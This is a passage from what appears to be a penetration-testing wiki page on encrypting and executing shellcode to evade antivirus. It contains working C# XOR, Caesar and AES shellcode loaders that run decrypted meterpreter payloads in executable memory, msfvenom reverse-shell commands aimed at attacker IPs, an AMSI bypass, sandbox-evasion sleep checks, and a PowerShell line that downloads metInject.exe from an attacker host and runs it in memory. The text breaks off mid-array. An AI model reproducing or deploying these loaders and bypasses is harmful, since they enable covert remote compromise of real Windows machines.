            // Encode the payload with XOR (fixed key)&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            int totalCount = encoded.Length;&lt;br /&gt;
            for (int count = 0; count &amp;lt; totalCount; count++)&lt;br /&gt;
            {&lt;br /&gt;
                byte b = encoded[count];&lt;br /&gt;
                if ((count + 1) == totalCount) // Dont append comma for last item&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;0x{0:x2}&amp;quot;, b);&lt;br /&gt;
                }&lt;br /&gt;
                else&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;0x{0:x2}, &amp;quot;, b);&lt;br /&gt;
                }&lt;br /&gt;
                if ((count + 1) % 15 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.Append(&amp;quot;\n&amp;quot;);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine($&amp;quot;XOR payload (key: 0xfa):&amp;quot;);&lt;br /&gt;
            Console.WriteLine($&amp;quot;byte[] buf = new byte[{buf.Length}] {{\n{hex}\n}};&amp;quot;);&lt;br /&gt;
            //// Decode the XOR payload&lt;br /&gt;
            //for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            //{&lt;br /&gt;
            //    buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            //}&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA shellcode - &#039;&#039;&#039; Encrypt VBA shellcode&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if Word is running 32-bit or 64-bit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f vbapplication&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Sample shellcode (replace with your own)&lt;br /&gt;
            byte[] buf = { 252, 72, 131, 228, 240, 232, 204, 0, 0, 0, 65, 81, 65, 80, 82, 81, 72, 49, 210, 101, 72, 139 };&lt;br /&gt;
            // XOR encryption&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            byte XORKey = 250;&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)(buf[i] ^ XORKey);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            int counter = 0;  // Initialize counter&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;{0:D}, &amp;quot;, b);&lt;br /&gt;
                counter++;&lt;br /&gt;
                if (counter % 50 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;_{0}&amp;quot;, Environment.NewLine);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The XOR encoded payload is: &amp;quot;);&lt;br /&gt;
            Console.WriteLine(hex.ToString());&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Running encrypted shellcodes ===&lt;br /&gt;
&lt;br /&gt;
==== AES - Using python helper ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Encryptor/tree/master plackyhacker/Shellcode-Encryptor: A simple shell code encryptor/decryptor/executor to bypass anti virus. (github.com)]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Injection-Techniques/tree/master plackyhacker/Shellcode-Injection-Techniques: A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.IO;&lt;br /&gt;
namespace ProcessInjection&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        public enum Protection&lt;br /&gt;
        {&lt;br /&gt;
            PAGE_NOACCESS = 0x01,&lt;br /&gt;
            PAGE_READONLY = 0x02,&lt;br /&gt;
            PAGE_READWRITE = 0x04,&lt;br /&gt;
            PAGE_WRITECOPY = 0x08,&lt;br /&gt;
            PAGE_EXECUTE = 0x10,&lt;br /&gt;
            PAGE_EXECUTE_READ = 0x20,&lt;br /&gt;
            PAGE_EXECUTE_READWRITE = 0x40,&lt;br /&gt;
            PAGE_EXECUTE_WRITECOPY = 0x80,&lt;br /&gt;
            PAGE_GUARD = 0x100,&lt;br /&gt;
            PAGE_NOCACHE = 0x200,&lt;br /&gt;
            PAGE_WRITECOMBINE = 0x400&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);&lt;br /&gt;
        private delegate Int32 ShellcodeDelegate();&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Shellcode();&lt;br /&gt;
        }&lt;br /&gt;
        static void Shellcode()&lt;br /&gt;
        {&lt;br /&gt;
            // attempt heuristics/behaviour bypass&lt;br /&gt;
            IntPtr mem = VirtualAllocExNuma(System.Diagnostics.Process.GetCurrentProcess().Handle, IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);&lt;br /&gt;
            if (mem == null)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // decrypt the base64 payload - change these to your own encrypted payload and key&lt;br /&gt;
            string payload = &amp;quot;sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg&amp;quot;;&lt;br /&gt;
            string key = &amp;quot;fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec&amp;quot;;&lt;br /&gt;
            byte[] buf = Decrypt(key, payload);&lt;br /&gt;
            unsafe&lt;br /&gt;
            {&lt;br /&gt;
                fixed(byte* ptr = buf)&lt;br /&gt;
                {&lt;br /&gt;
                    // set the memory as executable and execute the function pointer (as a delegate)&lt;br /&gt;
                    IntPtr memoryAddress = (IntPtr)ptr;&lt;br /&gt;
                    VirtualProtect(memoryAddress, (UIntPtr)buf.Length, (UInt32)Protection.PAGE_EXECUTE_READWRITE, out uint lpfOldProtect);&lt;br /&gt;
                    ShellcodeDelegate func = (ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(ShellcodeDelegate));&lt;br /&gt;
                    func();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        private static byte[] Decrypt(string key, string aes_base64)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] tempKey = Encoding.ASCII.GetBytes(key);&lt;br /&gt;
            tempKey = SHA256.Create().ComputeHash(tempKey);&lt;br /&gt;
            byte[] data = Convert.FromBase64String(aes_base64);&lt;br /&gt;
            // decrypt data&lt;br /&gt;
            Aes aes = new AesManaged();&lt;br /&gt;
            aes.Mode = CipherMode.CBC;&lt;br /&gt;
            aes.Padding = PaddingMode.PKCS7;&lt;br /&gt;
            ICryptoTransform dec = aes.CreateDecryptor(tempKey, SubArray(tempKey, 16));&lt;br /&gt;
            using (MemoryStream msDecrypt = new MemoryStream())&lt;br /&gt;
            {&lt;br /&gt;
                using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, dec, CryptoStreamMode.Write))&lt;br /&gt;
                {&lt;br /&gt;
                    csDecrypt.Write(data, 0, data.Length);&lt;br /&gt;
                    return msDecrypt.ToArray();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static byte[] SubArray(byte[] a, int length)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] b = new byte[length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                b[i] = a[i];&lt;br /&gt;
            }&lt;br /&gt;
            return b;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Instruction:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Use the &amp;lt;code&amp;gt;meterpreter_encryptor.py&amp;lt;/code&amp;gt; to create the encrypted base64 shellcode:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@kali:~# ./meterpreter_encryptor.py -p windows/x64/meterpreter/reverse_https -i 192.168.1.228 -l 443 -f b64&lt;br /&gt;
[+] Generating MSFVENOM payload...&lt;br /&gt;
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload&lt;br /&gt;
[-] No arch selected, selecting arch: x64 from the payload&lt;br /&gt;
Found 1 compatible encoders&lt;br /&gt;
Attempting to encode payload with 1 iterations of x64/xor_dynamic&lt;br /&gt;
x64/xor_dynamic succeeded with size 667 (iteration=0)&lt;br /&gt;
x64/xor_dynamic chosen with final size 667&lt;br /&gt;
Payload size: 667 bytes&lt;br /&gt;
Saved as: ./msf.bin&lt;br /&gt;
[+] Encrypting the payload, key=fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec...&lt;br /&gt;
[+] Base64 output:&lt;br /&gt;
sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Take the key and shellcode and insert it into [https://github.com/plackyhacker/ShellcodeEncryptor/blob/master/ProcessInjection.cs ProcessInjector.cs]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
// decrypt the base64 payload&lt;br /&gt;
string payload = &amp;quot;sZkMii [etc...]&amp;quot;;&lt;br /&gt;
string key = &amp;quot;fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec&amp;quot;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Compile the C# code into an executable (e.g., &amp;lt;code&amp;gt;metInject.exe&amp;lt;/code&amp;gt;) and serve it via a web server.&lt;br /&gt;
&lt;br /&gt;
Inject the executable into a remote PowerShell process:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# AMSI bypass&lt;br /&gt;
$a = [Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like &amp;quot;*iutils&amp;quot;) {$c = $b}};$d = $c.GetFields(&#039;NonPublic,Static&#039;);ForEach($e in $d) {if ($e.Name -like &amp;quot;*itFailed&amp;quot;) {$f = $e}};$f.SetValue($null,$true)&lt;br /&gt;
$bytes = (Invoke-WebRequest &amp;quot;http://192.168.1.228/metInject.exe&amp;quot;).Content;&lt;br /&gt;
$assembly = [System.Reflection.Assembly]::Load($bytes);&lt;br /&gt;
$entryPointMethod = $assembly.GetType(&#039;ProcessInjection.Program&#039;, [Reflection.BindingFlags] &#039;Public, NonPublic&#039;).GetMethod(&#039;Main&#039;, [Reflection.BindingFlags] &#039;Static, Public, NonPublic&#039;);&lt;br /&gt;
$entryPointMethod.Invoke($null, (, [string[]] (&#039;&#039;, &#039;&#039;)));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES - Csharp ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.IO;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
&lt;br /&gt;
/*-----------------------------------------------&lt;br /&gt;
 * Simple-Loader.exe: Simple Shellcode Loader   |&lt;br /&gt;
 *                                              |&lt;br /&gt;
 * Author: @jfaust0                             |&lt;br /&gt;
 * Contact: joshua.faust@sevrosecurity.com      |&lt;br /&gt;
 * Website: SevroSecurity.com                   |&lt;br /&gt;
 * ---------------------------------------------*/&lt;br /&gt;
&lt;br /&gt;
namespace goodTimes&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // CHANGE THESE VALUES --&amp;gt; Seriosuly, these should not be hard coded!&lt;br /&gt;
        public static byte[] key = new byte[] { 0x33, 0xED, 0x8A, 0x15, 0xD9, 0x26, 0xC5, 0x1C, 0x95, 0xF1, 0x4C, 0x11, 0xE4, 0x37, 0xD4, 0x5B, 0xE8, 0xDD, 0x8E, 0xED, 0xDC, 0x01, 0x38, 0xC7 };&lt;br /&gt;
        public static byte[] iv = new byte[] { 0x2B, 0x6F, 0xD1, 0xE3, 0x59, 0x6F, 0xC3, 0x31, 0x62, 0xC9, 0x98, 0x55, 0x7B, 0x00, 0xCB, 0xD1 };&lt;br /&gt;
        // MAIN&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String app_name = AppDomain.CurrentDomain.FriendlyName;&lt;br /&gt;
            String usage = $&amp;quot;Usage: {app_name} &amp;quot;;&lt;br /&gt;
            // ENCRYPT PAYLOAD&lt;br /&gt;
            if (args.Length == 1)&lt;br /&gt;
            {&lt;br /&gt;
                if (!File.Exists($@&amp;quot;{args[0]}&amp;quot;))&lt;br /&gt;
                {&lt;br /&gt;
                    Console.WriteLine(&amp;quot;[!] File Does Not Exist!&amp;quot;);&lt;br /&gt;
                    Environment.Exit(1);&lt;br /&gt;
                }&lt;br /&gt;
                Console.WriteLine(&amp;quot;[i] Encrypting Data&amp;quot;);&lt;br /&gt;
                // Read in MetaSploit Byte[] Code from File&lt;br /&gt;
                String fileData = System.IO.File.ReadAllText($@&amp;quot;{args[0]}&amp;quot;);&lt;br /&gt;
                String tmp = (fileData.Split(&#039;{&#039;)[1]).Split(&#039;}&#039;)[0];&lt;br /&gt;
                // Translate to Byte Array&lt;br /&gt;
                string[] s = tmp.Split(&#039;,&#039;);&lt;br /&gt;
                byte[] data = new byte[s.Length];&lt;br /&gt;
                for (int i = 0; i  1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(usage);&lt;br /&gt;
                Environment.Exit(1);&lt;br /&gt;
            }&lt;br /&gt;
            // RUN PAYLOAD&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                // msfvenom -p windows/exe cmd=calc.exe -f csharp --&amp;gt; CHANGE ME!&lt;br /&gt;
                String hiphop = &amp;quot;ZxOy1BksVfrlq8wcmyHY8GwwiBZd8NGrGQiKvx15hcv9sQ9apoO6NGbNBxAeS4NLHSz4owcdPgQTTejYJr80Ke4ynoy41yrc5RD0uqt1ppyxDAeYGATQy7xFbN247gwFee5cPZAFyBzbI6DvOLBFSJiP64kv5T7pX3iapVsX7ORmg7Ubfa1M9PcYNm5qzS9dyHxFdeD578YA6DGYC0UPzmeDXB11R0MWmPAkRGFftQp + YdurMHce1R4HC9bQ0gtm / MLHIP / UTPbIUtwrEAqQ / SYJcJCmeCPynYLNYrn9ae1xvCBokUTgdK + gpUa58ss2F4F60p1ujZNHmQ1Bn39WZmK5R4wSVmdFJpKRZXeGycAziEVlGjsS7XDKsvQvWvaZKqealuTWxH9q6n++zrRJZ0TBorjcFHKJZOLK5bNgKx0DbmFHXz + KBH400o&amp;quot;;&lt;br /&gt;
                byte[] de_data = Decrypt(Convert.FromBase64String(hiphop), key, iv);&lt;br /&gt;
                nonsense(de_data);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        // Shell Code Loader&lt;br /&gt;
        public static bool nonsense(byte[] shellcode)&lt;br /&gt;
        {&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,&lt;br /&gt;
                    MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
                Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);&lt;br /&gt;
                IntPtr hThread = IntPtr.Zero;&lt;br /&gt;
                UInt32 threadId = 0;&lt;br /&gt;
                IntPtr pinfo = IntPtr.Zero;&lt;br /&gt;
                hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);&lt;br /&gt;
                WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
                return true;&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.Error.WriteLine(&amp;quot;exception: &amp;quot; + e.Message);&lt;br /&gt;
                return false;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        // Used to Load Shellcode into Memory:&lt;br /&gt;
        private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,&lt;br /&gt;
             UInt32 size, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern IntPtr CreateThread(&lt;br /&gt;
          UInt32 lpThreadAttributes,&lt;br /&gt;
          UInt32 dwStackSize,&lt;br /&gt;
          UInt32 lpStartAddress,&lt;br /&gt;
          IntPtr param,&lt;br /&gt;
          UInt32 dwCreationFlags,&lt;br /&gt;
          ref UInt32 lpThreadId&lt;br /&gt;
          );&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern UInt32 WaitForSingleObject(&lt;br /&gt;
          IntPtr hHandle,&lt;br /&gt;
          UInt32 dwMilliseconds&lt;br /&gt;
        );&lt;br /&gt;
&lt;br /&gt;
        public static byte[] Encrypt(byte[] data, byte[] key, byte[] iv)&lt;br /&gt;
        {&lt;br /&gt;
            using (var aes = Aes.Create())&lt;br /&gt;
            {&lt;br /&gt;
                aes.KeySize = 256;&lt;br /&gt;
                aes.BlockSize = 128;&lt;br /&gt;
                aes.Padding = PaddingMode.Zeros;&lt;br /&gt;
                aes.Key = key;&lt;br /&gt;
                aes.IV = iv;&lt;br /&gt;
                using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV))&lt;br /&gt;
                {&lt;br /&gt;
                    return PerformCryptography(data, encryptor);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        public static byte[] Decrypt(byte[] data, byte[] key, byte[] iv)&lt;br /&gt;
        {&lt;br /&gt;
            using (var aes = Aes.Create())&lt;br /&gt;
            {&lt;br /&gt;
                aes.KeySize = 256;&lt;br /&gt;
                aes.BlockSize = 128;&lt;br /&gt;
                aes.Padding = PaddingMode.Zeros;&lt;br /&gt;
                aes.Key = key;&lt;br /&gt;
                aes.IV = iv;&lt;br /&gt;
                using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))&lt;br /&gt;
                {&lt;br /&gt;
                    return PerformCryptography(data, decryptor);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)&lt;br /&gt;
        {&lt;br /&gt;
            using (var ms = new MemoryStream())&lt;br /&gt;
            using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))&lt;br /&gt;
            {&lt;br /&gt;
                cryptoStream.Write(data, 0, data.Length);&lt;br /&gt;
                cryptoStream.FlushFinalBlock();&lt;br /&gt;
                return ms.ToArray();&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ceasar ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Csharp shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;&lt;br /&gt;
namespace ConsoleApp1&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,&lt;br /&gt;
            uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes,&lt;br /&gt;
            uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern UInt32 WaitForSingleObject(IntPtr hHandle,&lt;br /&gt;
            UInt32 dwMilliseconds);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] buf = new byte[510] {0xfe, 0x4a,.....&lt;br /&gt;
};&lt;br /&gt;
            for(int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)(((uint)buf[i] - 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            int size = buf.Length;&lt;br /&gt;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr,&lt;br /&gt;
                IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Change the XOR vba runner with this&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
For i = 0 To UBound(buf)&lt;br /&gt;
buf(i) = buf(i) - 2&lt;br /&gt;
Next i&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== XOR ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System;&lt;br /&gt;
namespace rev&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public const uint EXECUTEREADWRITE  = 0x40;&lt;br /&gt;
        public const uint COMMIT_RESERVE = 0x3000;&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;Kernel32.dll&amp;quot;, CharSet = CharSet.Auto, SetLastError = true)]&lt;br /&gt;
        private unsafe static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, uint lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        public static extern Int32 WaitForSingleObject(IntPtr Handle, Int32 Wait);&lt;br /&gt;
        public static void Main()&lt;br /&gt;
        {&lt;br /&gt;
            DateTime t1 = DateTime.Now;&lt;br /&gt;
            Sleep(10000);&lt;br /&gt;
            double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
            if (deltaT &amp;lt; 9.5)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            // XORed with key 0xfa&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
